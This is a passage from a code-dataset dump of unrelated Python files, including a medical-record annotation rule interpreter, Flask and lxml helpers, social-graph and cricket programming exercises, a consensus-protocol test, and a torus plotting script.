name_tags_db.close()\n\nif __name__ == '__main__':\n data_js_path = '../data/artist.json.gz'\n data_ldb_path = 'result/knock63_result.ldb'\n data_out_path = 'result/knock63_result.txt'\n make_name_tags_DB(data_js_path)\n load_make_tags_DB(data_ldb_path, data_out_path)\n","sub_path":"Shi-ma/chapter07/knock63.py","file_name":"knock63.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"466394388","text":"from flask import Blueprint, render_template\nfrom models.article import Article\n\narticles = Blueprint('articles', __name__,\n template_folder='templates')\n\n@articles.route('/', methods=['GET'])\ndef getArticles():\n\t\"\"\"Returns a JSON responce with articles info\"\"\"\n\tarticles = Article().query().fetch(25);\n\treturn render_template('articles.html', articles=articles)\n","sub_path":"controllers/articles.py","file_name":"articles.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"195056335","text":"import sys\nimport json\nimport copy\nfrom lxml import etree\nfrom mongodb import get\nfrom mongodb import put\nfrom mongodb import connect\nfrom annotators import IsNumericAnnotator, taxonomy, RegExpAnnotator\n\n\nformulas = [\n 'CHF', \n 'MI'\n ]\n\napostriory = [\n 'not mentioned', \n 'ambiguous',\n 'diagnosed', \n 'inconclusive', \n 'ruled out', \n 'symptoms present', \n 'other'\n ]\n\ndef all_formulas(mongo):\n for formula in formulas:\n print('Formula: ' + formula)\n all_datasets(formula, mongo)\n\n# Apply code to all datasets\ndef all_datasets(formula, mongo):\n datasets=[\n 'cci', \n 'nets', \n 'medications'\n ]\n for ds in datasets:\n print('DataSet: ' + ds)\n all_files(ds, formula, mongo)\n\n# Apply JSON-code for all documents in 'dir.list' and all steps of JSON-code. \n# It's independent with 'def all_steps'.\ndef all_files(dataset, formula, mongo):\n chf = []\n apost_res = {}\n for diag in apostriory:\n apost_res[diag] = []\n #formula = 'CHF'\n indexes = get(\"all_indexes\", dataset=dataset, mongo=mongo)\n code = get(\"code.cla.json\", formula=formula, mongo=mongo)\n for number_of_card in indexes:\n print('Card #' + number_of_card)\n doc_data = create_dict(dataset, number_of_card, mongo)\n all_steps(code, doc_data, dataset, number_of_card, mongo, False)\n put(\"annotations\", doc_data['data'], \n dataset=dataset, number_of_card=number_of_card, \n formula = formula, mongo=mongo)\n if doc_data['data']['Formula diagnose'] != 'No':\n chf.append(number_of_card)\n print(doc_data['data']['Formula diagnose'])\n if 'value' in doc_data['data'] and doc_data['data']['value'] in apostriory:\n apost_res[doc_data['data']['value']].append(number_of_card)\n else:\n apost_res['not mentioned'].append(number_of_card)\n put(\"calculated_indexes\", chf, formula=formula, \n dataset=dataset, mongo=mongo)\n put(\"results_apostriory\", apost_res, formula=formula, dataset=dataset, mongo=mongo)\n print('Apostriory: ' + json.dumps(apost_res, indent=4))\n\n# Apply function 'annotator' for all document of a patient\n#def all_documents(annotator, doc_data, old_step, mongo, step_id):\n# for document in doc_data['documents']:\n# step = copy.deepcopy(old_step)\n# annotator(document, step, mongo, step_id)\n\n# Apply function 'annotator' for all sentence of a document. \ndef all_sentences(annotator, doc_data, old_step, mongo, step_id):\n for sentence in doc_data['sentences']:\n if 'reject' in sentence['data']:\n continue\n step = copy.deepcopy(old_step)\n annotator(sentence, step, mongo, step_id)\n\n# Apply function 'annotator' for all chunks of a document. \ndef all_chunks(annotator, doc_data, old_step, mongo, step_id):\n for sentence in doc_data['sentences']:\n for chunk in sentence['chunks']:\n if 'reject' in chunk['data']:\n continue\n step = copy.deepcopy(old_step)\n annotator(chunk, step, mongo, step_id)\n\n\n# Apply 'interpretator' for all steps of JSON-code in 'json_file_name' for a document.\n# 'snap_file' is a snapshot file. \ndef all_steps(code, doc_data, dataset, number_of_card, mongo, with_snap):\n for step in code['statements']:\n claudia_interpretator(doc_data, dataset, \n number_of_card, step, mongo, with_snap, -1)\n\n\n# Represent a document to a list 'doc_data' of sentences. Every sentence is a list of chunks.\n# Every chunk is a dictionary:\n#\n# text: 'chunk'\n# data: '{key: value, ... }\n#\n# Attribute 'data' is empty. \ndef create_dict(dataset, patient, mongo):\n #sHTML_Parser = etree.HTMLParser(remove_comments = True)\n doc = get(\"doc.html\", dataset=dataset, \n number_of_card=patient, mongo=mongo)\n return create_dict_by_doc(doc)\n\n# Generate the dictionary by raw HTML-document. \"doc\" is a list of sentences.\ndef create_dict_by_doc(nodes):\n doc_data = {}\n doc_data['data'] = {}\n doc_data['sentences'] = []\n for node in nodes:\n try:\n sample = etree.fromstring(node)\n sentence = {}\n sentence['data'] = {}\n sentence['chunks'] = []\n s = etree.tostring(sample)\n ss = etree.fromstring(s)\n for nd_alevel in ss.xpath('/p/span/span'):\n alevel = nd_alevel.attrib\n s = etree.tostring(nd_alevel)\n sss = etree.fromstring(s)\n for nd in sss.xpath('/span/span/span'):\n chunk = {}\n chunk['text'] = nd.text\n chunk['data'] = {}\n chunk['data']['__negation'] = alevel['class'][6:]\n sentence['chunks'].append(chunk)\n doc_data['sentences'].append(sentence)\n except etree.XMLSyntaxError:\n print('XMLSyntaxError: ' + node)\n return 'XMLSyntaxError'\n return doc_data\n\ndef apply_tax(chunk, step, mongo, step_id):\n# if step_id != step['source_id'] and step_id != -1:\n# return\n if step['options']['name'] == 'RegExp':\n new_dict = RegExpAnnotator(chunk['text'], step['options']['pattern'])\n key = step['options']['var']\n if 'pattern' in new_dict:\n new_dict[key] = key\n chunk['data'].update(new_dict)\n return\n for tax in step['options']['values']:\n if tax == 'NUMERIC':\n dict = IsNumericAnnotator(chunk['text'], mongo)\n else:\n dict = taxonomy(chunk['text'], tax, mongo)\n chunk['data'].update(dict)\n\ndef loop(doc_data, dataset, number_of_card, step, mongo, with_snap, step_id):\n for new_step in step['options']['action']:\n if step_id not in new_step['steps'] and step_id != -1:\n continue\n if step['set'] == 'entities':\n all_chunks(one_step, doc_data, new_step, mongo, step_id)\n elif step['set'] == 'sentences':\n all_sentences(one_step, doc_data, new_step, mongo, step_id)\n elif step['set'] == 'documents':\n dstep = copy.deepcopy(new_step)\n one_step(doc_data, dstep, mongo, step_id)\n else:\n print('Unknoun loop set: ' + str(step['set']))\n sys.exit(0)\n if with_snap:\n snapshot(dataset, number_of_card, doc_data, mongo)\n\ndef one_step(data, step, mongo, step_id):\n if step['action'] == 'detect':\n if step['name'] == 'if':\n return statement(data, step['options'], mongo, step_id)\n elif step['name'] == 'annotate':\n annotate(data, step, step_id)\n else:\n print('Unknown name: ' + step['name'])\n sys.exit(1)\n elif step['action'] == 'reject':\n reject(data, step, step_id)\n else:\n print('Unknown action: ' + step['action'])\n sys.exit(2)\n return data\n\n\ndef reject(data, step, step_id):\n if step_id not in step['steps'] and step_id != -1:\n return\n data['data']['reject'] = 'reject'\n\n\n# Conditional operator: if ... then ... .\ndef statement(data, step, mongo, step_id):\n #print('Statement args: ' + json.dumps(step['args'], indent=4))\n cond = condition(data, step['condition'], step['args'])\n if cond:\n if step_id in step['steps_if'] or step_id == -1:\n for new_step in step['action_if']:\n one_step(data, new_step, mongo, step_id)\n else:\n if 'action_else' in step:\n if step_id in step['steps_else'] or step_id == -1:\n for new_step in step['action_else']:\n one_step(data, new_step, mongo, step_id)\n\n# Conditional operator 'if'. See 'def statement'. \ndef condition(data, cond, args):\n #print('f: ' + cond['f'] + ' args: ' + str(args))\n #print('cond: ' + json.dumps(cond, indent=4))\n if cond['f'] == 'annotated':\n return annotated(data, cond, args)\n elif cond['f'] == 'and':\n return conjunction(data, cond['a'], args)\n elif cond['f'] == 'or':\n return disjunction(data, cond['a'], args)\n elif cond['f'] == 'not':\n return negative(data, cond['a'], args)\n elif cond['f'] == 'equals':\n return equals(data, cond['a'], args)\n# elif cond['f'] == 'annotationData':\n# return annotationData(data, cond['a'], args)\n elif cond['f'] == 'x':\n return variable(data, args)\n# elif cond['f'] == 'annotationData':\n# return annotation_data(data, dict)\n# elif cond['f'] == 'const':\n# return data['value']\n else:\n print('Unknown function: ' + cond['f'])\n sys.exit(7)\n\ndef annotated(data, cond, args):\n #print('data: ' + str(data))\n #print('cond: ' + str(cond))\n #print('args: ' + str(args))\n if 'sentences' in data:\n set = 'sentences'\n elif 'chunks'in data:\n set = 'chunks'\n else:\n set = 'text'\n# if set == 'text':\n# arg = args[0]\n# args.pop(0)\n# if arg['type'] == 'key':\n# if arg['value'] in data['data']:\n# res = True\n# elif arg['value'] == 'NUMERIC':\n# if 'class' in data['data'] and data['data']['class'] == 'numeric':\n# res = True\n# else:\n# res = False\n# else:\n# res = False\n# for ann in cond['a']:\n# res = condition(data, ann, args) and res\n# return res\n# else:\n# print('Unknown type: ' + arg['type'])\n# sys.exit(8)\n# else:\n\n #print('chunk cond: ' + str(cond))\n res = False\n new_args = copy.deepcopy(args)\n new_cond = copy.deepcopy(cond)\n res = annotated_chunk(data, new_cond, new_args)\n if not res and set != 'text':\n for chunk in data[set]:\n if 'reject' in chunk['data']:\n continue\n new_args = copy.deepcopy(args)\n new_cond = copy.deepcopy(cond)\n res = annotated_chunk(chunk, new_cond, new_args)\n if res:\n break\n #print('args before: ' + str(new_args))\n# arg = new_args[0]\n# new_args.pop(0)\n# if arg['type'] == 'key':\n# if arg['value'] in chunk['data'] or arg['value'] == 'NUMERIC':\n# res = True\n# else:\n# res = False\n# for ann in new_cond['a']:\n# #print('ann: ' + json.dumps(ann, indent=4))\n# #print('new_args: ' + json.dumps(new_args, indent=4))\n# res = condition(chunk, ann, new_args) and res\n# if res:\n# args.pop(0)\n# for ann in new_cond['a']:\n# args.pop(0)\n# args.pop(0)\n# return True\n# else:\n# print('Unknown type: ' + arg['type'])\n# sys.exit(11)\n\n args.pop(0)\n for ann in cond['a']:\n args.pop(0)\n args.pop(0)\n return res\n\ndef annotated_chunk(chunk, new_cond, new_args):\n arg = new_args[0]\n new_args.pop(0)\n if arg['type'] == 'key':\n if arg['value'] in chunk['data'] or arg['value'] == 'NUMERIC':\n res = True\n else:\n res = False\n for ann in new_cond['a']:\n #print('ann: ' + json.dumps(ann, indent=4))\n #print('new_args: ' + json.dumps(new_args, indent=4))\n res = condition(chunk, ann, new_args) and res\n# if res:\n# args.pop(0)\n# for ann in new_cond['a']:\n# args.pop(0)\n# args.pop(0)\n# return True\n return res\n else:\n print('Unknown type: ' + arg['type'])\n sys.exit(11)\n\n\n# 'And'\ndef conjunction(data, cond, args):\n cond1 = condition(data, cond[0], args)\n cond2 = condition(data, cond[1], args)\n return cond1 and cond2\n\n\n# 'Or'\ndef disjunction(data, cond, args):\n cond1 = condition(data, cond[0], args)\n cond2 = condition(data, cond[1], args)\n return cond1 or cond2\n\n\n# 'Not'\ndef negative(data, cond, args):\n return not condition(data, cond, args)\n\n\n# '='\ndef equals(data, cond, args):\n if args[0]['value'] == 'context':\n if 'text' not in data:\n return False\n context = args[1]['value']\n args.pop(0)\n args.pop(0)\n #print('chunk: ' + data['text'] + ', negation: ' + str(data['data']['__negation']))\n neg = int(data['data']['__negation'])\n res = (neg >= negation[context]['min'] and neg <= negation[context]['max'])\n return res\n elif args[0]['value'] == 'less_than':\n if 'text' not in data:\n return False\n value = args[1]['value']\n args.pop(0)\n args.pop(0)\n res = ('value' in data['data']) and (data['data']['value'] <= value)\n return res\n elif args[0]['value'] == 'great_than':\n if 'text' not in data:\n return False\n value = args[1]['value']\n args.pop(0)\n args.pop(0)\n res = ('value' in data['data']) and (data['data']['value'] >= value)\n return res\n a = condition(data, cond[0], args)\n b = condition(data, cond[1], args)\n if a is None or b is None:\n return False\n return a == b\n# if a == b:\n# return True\n# else:\n# return False\n\n\ndef variable(data, args):\n arg = args[0]\n args.pop(0)\n if arg['type'] == 'annotationData':\n if arg['value'] in data['data']:\n res = data['data'][arg['value']]\n return res\n elif arg['type'] == 'const':\n res = arg['value']\n return res\n else:\n print('Unknown type: ' + arg['type'])\n print(args)\n #print(data)\n sys.exit(9)\n\n\ndef annotate(data, step, step_id):\n# elements = ['chunks', 'sentences', 'documents']\n# for el in elements:\n# if el in data:\n# n = 0\n# for chunk in data[el]:\n# if step['key'] in chunk:\n# n += 1\n# data['data'][step['key']] = n\n# if step['key'] not in data['data']:\n if step_id not in step['steps'] and step_id != -1:\n return\n data['data'][step['key']] = step['key']\n data['data'].update(step['options'])\n\n\n# Save all results about a document in file 'file_name'. \ndef snapshot(dataset, number_of_card, doc_data, mongo):\n put(\"snap.json\", doc_data, dataset=dataset, \n number_of_card=number_of_card, mongo=mongo)\n\n\ndef setFinalAnnotation(doc_data, step):\n key = step['key']\n if key in doc_data['data']:\n doc_data['data']['Formula diagnose'] = key + '-diagnosed'\n else:\n doc_data['data']['Formula diagnose'] = 'No'\n\n\n# The interpretator of step 'step' of JSON-code appying for a document ('doc-data'). \n# Snapshots are in 'snap-file'. \ndef claudia_interpretator(doc_data, dataset, \n number_of_card, step, mongo, with_snap, step_id):\n if step_id not in step['steps'] and step_id != -1:\n return doc_data\n if step['action'] == 'for':\n loop(doc_data, dataset, number_of_card, \n step, mongo, with_snap, step_id)\n elif step['action'] == 'detect':\n if step['name'] == 'lookup':\n all_chunks(apply_tax, doc_data, step, mongo, step_id)\n elif step['name'] == 'setFinalAnnotations':\n setFinalAnnotation(doc_data, step['options'])\n else:\n print('Unknown operator: ' + step['name'])\n sys.exit(3)\n else:\n print('Unknown action: ' + step['action'])\n sys.exit(4)\n return doc_data\n\n\n# Apply the interpretator for a step 'step_id' of JSON-code in 'code_file_name'\n# for a document 'doc_file_name'. 'snap_file_name' is a snaphot file.\n# It's independent with 'def all_files'.\ndef next_step(doc_data, code, dataset, number_of_card, step_id, mongo):\n#def next_step(doc_file_name, code_file_name, snap_file_name, step_id):\n if step_id == 0 and number_of_card is not None:\n doc_data = create_dict(dataset, number_of_card, mongo)\n if step_id > code['count_of_steps']:\n return\n if doc_data is None:\n doc_data = create_dict(dataset, number_of_card, mongo)\n for step in code['statements']:\n claudia_interpretator(doc_data, dataset, \n number_of_card, step, mongo, False, step_id)\n #snapshot(dataset, number_of_card, doc_data, mongo)\n return doc_data\n\n\ndef for_one_doc(doc, code, mongo, cch, ticket, lock):\n doc_data = create_dict_by_doc(doc)\n state = {}\n state['count_of_steps'] = code['count_of_steps']\n for step in code['statements']:\n lock.acquire()\n state['step'] = step\n print('Step: ' + str(step))\n cch.putValue(ticket, state)\n lock.release()\n claudia_interpretator(doc_data, None, \n None, step, mongo, False, -1)\n #print(\"Results of the formula: \" + json.dumps(doc_data, indent=4))\n return doc_data\n \n\nnegation = {\n \"positive\": {\n \"max\": 0, \n \"min\": 0\n }, \n \"possibly negative\": {\n \"max\": 100, \n \"min\": 10\n }, \n \"negative\": {\n \"max\": 100, \n \"min\": 50\n }, \n \"ambiguous\": {\n \"max\": 40, \n \"min\": 10\n }, \n \"affirmative\": {\n \"max\": 0, \n \"min\": 0\n }\n}\n\n\nif __name__ == '__main__':\n mongo = connect()\n #all_files(mongo)\n if len(sys.argv)>1 and sys.argv[1] in formulas:\n all_datasets(sys.argv[1], mongo)\n else:\n all_formulas(mongo)\n print('Ok.')\n","sub_path":"claudia_interpretator.py","file_name":"claudia_interpretator.py","file_ext":"py","file_size_in_byte":18211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"568078470","text":"#DSA-Assgn-17\n\ndef find_matches(country_name):\n #Remove pass and write your logic here\n l=[]\n for i in match_list:\n if (i[:3])==country_name:\n l.append(i)\n return l\n\ndef max_wins():\n #Remove pass and write your logic here\n cham,wor,t20,tmp,ret = [],[],[],[],dict()\n \"\"\"ChampionShip Check\"\"\"\n for detail in match_list:\n split_detail = detail.split(\":\")\n if split_detail[1] == \"CHAM\":\n cham.append(split_detail[0])\n tmp.append(split_detail[3])\n if len(tmp) !=0: \n while (min(tmp)!=max(tmp)):\n cham.pop(tmp.index(min(tmp)))\n tmp.pop(tmp.index(min(tmp)))\n ret [\"CHAM\"] = cham\n \"\"\"T20 Check\"\"\"\n tmp = []\n for detail in match_list:\n split_detail = detail.split(\":\")\n if split_detail[1] == \"T20\":\n t20.append(split_detail[0])\n tmp.append(split_detail[3])\n if len(tmp) !=0:\n while (min(tmp)!=max(tmp)):\n t20.pop(tmp.index(min(tmp)))\n tmp.pop(tmp.index(min(tmp)))\n ret [\"T20\"] = t20\n\n \"\"\"World Cup Check\"\"\"\n tmp = []\n for detail in match_list:\n split_detail = detail.split(\":\")\n if split_detail[1] == \"WOR\":\n wor.append(split_detail[0])\n tmp.append(split_detail[3])\n if len(tmp) !=0:\n while (min(tmp)!=max(tmp)):\n wor.pop(tmp.index(min(tmp)))\n tmp.pop(tmp.index(min(tmp)))\n ret [\"WOR\"] = wor \n return ret\ndef find_winner(country1,country2):\n #Remove pass and write your logic here\n c1 = 0\n c2 = 0\n for d in match_list:\n split_d = d.split(\":\")\n #print (split_d[1])\n if split_d[0] == country1:\n c1+=int(split_d[3])\n elif split_d[0] == country2:\n c2+=int(split_d[3])\n if c1 > c2:\n return country1\n elif c2 > c1:\n return country2\n return \"Tie\" \n\n#Consider match_list to be a global variable\nmatch_list=[\"AUS:CHAM:5:2\",\"AUS:WOR:2:1\",\"ENG:WOR:2:0\",\"IND:T20:5:3\",\"IND:WOR:2:1\",\"PAK:WOR:2:0\",\"PAK:T20:5:1\",\"SA:WOR:2:0\",\"SA:CHAM:5:1\",\"SA:T20:5:0\"]\n\n#Pass different values to each function and test your program\nprint(\"The match status list details are:\")\nprint(match_list)\nprint(find_matches(\"AUS\"))\nprint(find_winner(\"IND\", \"AUS\"))\nprint(max_wins())\n","sub_path":"ass17-matches.py","file_name":"ass17-matches.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"274836546","text":"from itertools import combinations\nimport random\nfrom collections import deque\n\nclass User:\n def __init__(self, name):\n self.name = name\n\nclass SocialGraph:\n def __init__(self):\n self.lastID = 0\n self.users = {}\n self.friendships = {}\n\n def addFriendship(self, userID, friendID):\n \n #Creates a bi-directional friendship\n \n if userID == friendID:\n print(\"WARNING: You cannot be friends with yourself\")\n elif friendID in self.friendships[userID] or userID in self.friendships[friendID]:\n print(\"WARNING: Friendship already exists\")\n else:\n self.friendships[userID].add(friendID)\n self.friendships[friendID].add(userID)\n\n def addUser(self, name):\n \n #Create a new user with a sequential integer ID\n \n self.lastID += 1 # automatically increment the ID to assign the new user\n self.users[self.lastID] = User(name)\n self.friendships[self.lastID] = set()\n\n def populateGraph(self, numUsers, avgFriendships):\n \n # Takes a number of users and an average number of friendships\n # as arguments\n # Creates that number of users and a randomly distributed friendships\n # between those users.\n # The number of users must be greater than the average number of friendships.\n \n # Reset graph\n self.lastID = 0\n self.users = {}\n self.friendships = {}\n # !!!! IMPLEMENT ME\n\n # Add numUsers\n for i in range(numUsers):\n self.addUser(f\"User: {i}\")\n\n # Create friendships\n #itertools uses nested for loop under hood so this is inefficient at n^2\n possible_friendships = list(combinations(range(1, numUsers+1), 2))\n random.shuffle(possible_friendships)\n total_friendships = (len(possible_friendships) * avgFriendships) // 2 #need len b/c pos friends is a list\n actual_friendships = possible_friendships[:total_friendships]\n for friendship in actual_friendships:\n self.addFriendship(friendship[0], friendship[1])\n #could also practice shuffling with fisher-yates\n\n #more efficient refactor that is O(n)\n # total_friendships = (possible_friendships * avgFriendships) // 2\n # num_created = 0\n # num_warnings = 0\n # while num_created < total_friendships:\n # friendship = (random.randint(1, numUsers), random.randint(1, numUsers))\n # if self.addFriendship(friendship[0], friendship[1]):\n # num_created += 1\n # else: \n # num_warnings += 1\n # print(\"linear warning: {num_warnings}\")\n\n def getAllSocialPaths(self, userID):\n # Takes a user's userID as an argument\n # Returns a dictionary containing every user in that user's\n # extended network with the shortest friendship path between them.\n # The key is the friend's ID and the value is the path.\n \n visited = {} # Note that this is a dictionary, not a set\n if self.friendships[userID]:\n #userID is target, i is starting_vertex\n for i in range(1, len(self.users) + 1):\n visited[i] = self.social_paths_bfs(i, userID)\n return visited\n \n #bfs returns shortest path v dfs\n def social_paths_bfs(self, starting_vertex, target):\n q = deque()\n visited = []\n q.append([starting_vertex]) #list v set??\n while q:\n social_path = q.pop()\n last_vertex = social_path[-1:]\n if last_vertex not in visited:\n if last_vertex == target:\n return social_path\n #print(last_vertex, social_path)\n visited.append(last_vertex)\n for child in self.friendships[last_vertex]:\n duplicate_path = list(social_path)\n duplicate_path.append(child)\n q.append(duplicate_path)\n\n\nif __name__ == '__main__':\n # num_users = 10\n # num_friendships = 9\n # sg = SocialGraph()\n # start_time = time.time()\n # sg.populateGraph(num_users, num_friendships)\n # end_time = time.time()\n # print (f\"Quadratic runtime: {end_time - start_time} seconds\")\n # start_time = time.time()\n # sg.populateGraphLinear(num_users, num_friendships)\n # end_time = time.time()\n # print (f\"Linear runtime: {end_time - start_time} seconds\")\n sg = SocialGraph()\n sg.populateGraph(10, 2)\n print(sg.friendships)\n connections = sg.getAllSocialPaths(1)\n print(connections)\n\n#thurs lecture\n#https://www.youtube.com/watch?v=FL9MN3TA_VQ\n\n#3. Questions\n#1. To create 100 users with an average of 10 friends each, how many times would you need to call addFriendship()? Why?\n# 100 users with 10 friends each would equal 1000 connections, but since connections are bidirectional you would \n# only have to call addFriendship 500 times.\n#2. If you create 1000 users with an average of 5 random friends each, what percentage of other users will be in a \n# particular user’s extended social network? What is the average degree of separation between a user and those in \n# his/her extended network?\n# ","sub_path":"projects/graph/social/social.py","file_name":"social.py","file_ext":"py","file_size_in_byte":5218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"62348819","text":"from __future__ import unicode_literals\n\nimport re\nfrom lxml import html\nfrom lxml.etree import ParseError, ParserError\nfrom lxml.html.clean import Cleaner\nfrom normality import collapse_spaces\n\nfrom ingestors.exc import ProcessingException\n\n\nclass HTMLSupport(object):\n \"\"\"Provides helpers for HTML file context extraction.\"\"\"\n # this is from lxml/apihelpers.pxi\n RE_XML_ENCODING = re.compile(r'^(<\\?xml[^>]+)\\s+encoding\\s*=\\s*[\"\\'][^\"\\']*[\"\\'](\\s*\\?>|)', re.U) # noqa\n\n cleaner = Cleaner(\n page_structure=True,\n scripts=True,\n javascript=True,\n style=True,\n links=True,\n embedded=True,\n forms=True,\n frames=True,\n meta=True,\n # remove_tags=['a'],\n kill_tags=['head']\n )\n\n def get_meta(self, doc, field):\n for field_attr in ('property', 'name'):\n for el in doc.findall('.//meta[@%s=\"%s\"]' % (field_attr, field)):\n content = collapse_spaces(el.get('content'))\n if content is not None and len(content):\n return content\n\n def extract_html_header(self, doc):\n \"\"\"Get metadata from the HTML head element.\"\"\"\n self.update('title', self.get_meta(doc, 'og:title'))\n self.update('title', doc.findtext('.//title'))\n self.update('summary', self.get_meta(doc, 'og:description'))\n self.update('summary', self.get_meta(doc, 'description'))\n self.update('author', self.get_meta(doc, 'author'))\n self.update('author', self.get_meta(doc, 'og:site_name'))\n self.update('published_at', self.get_meta(doc, 'artcile:published_time')) # noqa\n self.update('modified_at', self.get_meta(doc, 'artcile:modified_time'))\n\n for field in ['keywords', 'news_keywords']:\n content = self.get_meta(doc, field)\n if content is not None:\n for keyword in content.split(','):\n keyword = collapse_spaces(keyword)\n if len(keyword):\n self.result.emit_keyword(keyword)\n\n def extract_html_text(self, doc):\n \"\"\"Get all text from a DOM, also used by the XML parser.\"\"\"\n text = ' '.join(self.extract_html_elements(doc))\n text = collapse_spaces(text)\n if len(text):\n return text\n\n def extract_html_elements(self, el):\n yield el.text or ' '\n for child in el:\n for text in self.extract_html_elements(child):\n yield text\n yield el.tail or ' '\n\n def extract_html_content(self, html_body, fix_html=True):\n \"\"\"Ingestor implementation.\"\"\"\n if html_body is None:\n return\n try:\n try:\n doc = html.fromstring(html_body)\n except ValueError:\n # Ship around encoding declarations.\n # https://stackoverflow.com/questions/3402520\n html_body = self.RE_XML_ENCODING.sub('', html_body, count=1)\n doc = html.fromstring(html_body)\n except (ParserError, ParseError, ValueError):\n raise ProcessingException(\"HTML could not be parsed.\")\n\n self.extract_html_header(doc)\n self.cleaner(doc)\n text = self.extract_html_text(doc)\n self.result.flag(self.result.FLAG_HTML)\n self.result.emit_html_body(html_body, text)\n","sub_path":"ingestors/support/html.py","file_name":"html.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"90755026","text":"import copy\nimport threading\nimport time\n\nfrom bos_consensus.common import Ballot, BallotVotingResult, Message, node_factory\nfrom bos_consensus.consensus import get_fba_module\nfrom bos_consensus.network import Endpoint\nfrom .blockchain import Blockchain\nfrom .util import StubTransport\n\nLIMIT_TIME = 0.1\n\n\ndef copy_ballot(ballot, node_name, state):\n new_ballot = copy.copy(ballot)\n new_ballot.node_name = node_name\n if state is not None:\n new_ballot.state = state\n\n return new_ballot\n\n\ndef stub(self, ballot):\n timer = threading.Timer(LIMIT_TIME, self._remove_stuck_ballot, args=[ballot])\n timer.start()\n\n\nConsensus = get_fba_module('isaac').Consensus\nConsensus._check_slot_time = stub\nIsaacState = get_fba_module('isaac').State\n\n\nclass SimpleBlockchain(Blockchain):\n def __init__(self, *a, **kw):\n super(SimpleBlockchain, self).__init__(*a, **kw)\n\n def receive_ballots(self, *ballots):\n for ballot in ballots:\n self.receive_ballot(ballot)\n\n return\n\n\ndef simple_blockchain_factory(name, address, threshold, validator_endpoint_uris):\n node = node_factory(name, Endpoint.from_uri(address))\n\n validators = list()\n for uri in validator_endpoint_uris:\n validators.append(\n node_factory(uri, Endpoint(uri, uri, 0)),\n )\n\n consensus = Consensus(node, threshold, validators)\n\n transport = StubTransport(bind=('0.0.0.0', 5001))\n\n return SimpleBlockchain(consensus, transport)\n\n\ndef test_confirm_stuck_ballot():\n node_name_1 = 'http://localhost:5001'\n node_name_2 = 'http://localhost:5002'\n node_name_3 = 'http://localhost:5003'\n\n bc1 = simple_blockchain_factory(\n node_name_1,\n 'http://localhost:5001',\n 100,\n [node_name_2, node_name_3],\n )\n\n node2 = node_factory(node_name_2, Endpoint.from_uri('http://localhost:5002'))\n node3 = node_factory(node_name_3, Endpoint.from_uri('http://localhost:5003'))\n\n bc1.consensus.add_to_validator_connected(node2)\n bc1.consensus.add_to_validator_connected(node3)\n\n message = Message.new('message')\n\n ballot_init_1 = Ballot.new(node_name_1, message, IsaacState.INIT, BallotVotingResult.agree)\n ballot_id = ballot_init_1.ballot_id\n ballot_init_2 = Ballot(ballot_id, node_name_2, message, IsaacState.INIT, BallotVotingResult.agree,\n ballot_init_1.timestamp)\n ballot_init_3 = Ballot(ballot_id, node_name_3, message, IsaacState.INIT, BallotVotingResult.agree,\n ballot_init_1.timestamp)\n\n bc1.receive_ballot(ballot_init_1)\n bc1.receive_ballot(ballot_init_2)\n bc1.receive_ballot(ballot_init_3)\n\n assert bc1.consensus.slot.get_ballot_state(ballot_init_1) == IsaacState.SIGN\n\n time.sleep(LIMIT_TIME + 0.1)\n\n assert bc1.consensus.slot.get_ballot_state(ballot_init_1) == IsaacState.NONE\n\n return\n","sub_path":"src/bos_consensus/blockchain/test_stuck_ballot.py","file_name":"test_stuck_ballot.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"643698852","text":"#!/usr/bin/env python\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.tri as mtri\n\nfig = plt.figure(figsize=plt.figaspect(1))\n\nu = np.linspace(0, 2 * np.pi, endpoint=True, num=30)\nv = np.linspace(0, 2 * np.pi, endpoint=True, num=30)\nu, v = np.meshgrid(u, v)\nu, v = u.flatten(), v.flatten()\n\nR = float(input(\"Insert R (major radius): \"))\nr = float(input(\"Insert r (minor radius): \"))\n\nx = np.cos(v) * (R + r * np.cos(u))\ny = np.sin(v) * (R + r * np.cos(u))\nz = r * np.sin(u)\n\ntri = mtri.Triangulation(u, v)\n\nmpl.rc('text', usetex=True)\nmpl.rcParams['text.latex.preamble']=[r\"\\usepackage{amsmath}\"]\nmpl.rcParams['axes.labelsize'] = 15\n\nax = fig.add_subplot(1, 1, 1, projection='3d')\nax.plot_trisurf(x, y, z, triangles=tri.triangles, cmap=plt.cm.Spectral)\nax.set_title('$Torus$')\nax.set_xlabel('$x$')\nax.set_ylabel('$y$')\nax.set_zlabel('$z$')\nax.set_xlim(-R, R)\nax.set_ylim(-R, R)\nax.set_zlim(-R, R)\n\nplt.show()\n","sub_path":"3D/Tri-Surface/torus.py","file_name":"torus.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"415802822","text":"# Read in date \nimport sys\nimport os\nimport requests\nimport string\nimport re\nimport shutil\n\nfrom bs4 import BeautifulSoup\nfrom lxml import html\n\ndef title_except(s, exceptions):\n word_list = re.split(' ', s) #re.split behaves as expected\n final = [word_list[0].capitalize()]\n for word in word_list[1:]:\n final.append(word in exceptions and word or word.capitalize())\n return \" \".join(final)\n\n###########################################################\n# I would like to turn theses functio int callable modules\n###########################################################\ndef TruncBankStr(strValue):\n\t# Remove all charaters after give char\n\ttruncStr = strValue.split(',', 1)[0]\n\ttruncStr = truncStr.split('TRUST', 1)[0]\n\ttruncStr = truncStr.split('D/B/A', 1)[0]\n\ttruncStr = truncStr.split('F/B/A', 1)[0]\n\n\treturn truncStr\n\ndef TruncOwnerStr(strValue):\n\t# Remove all charaters after give char\n\ttruncStr = strValue.split('', 1)[0]\n\ttruncStr = truncStr.split('A/K/A', 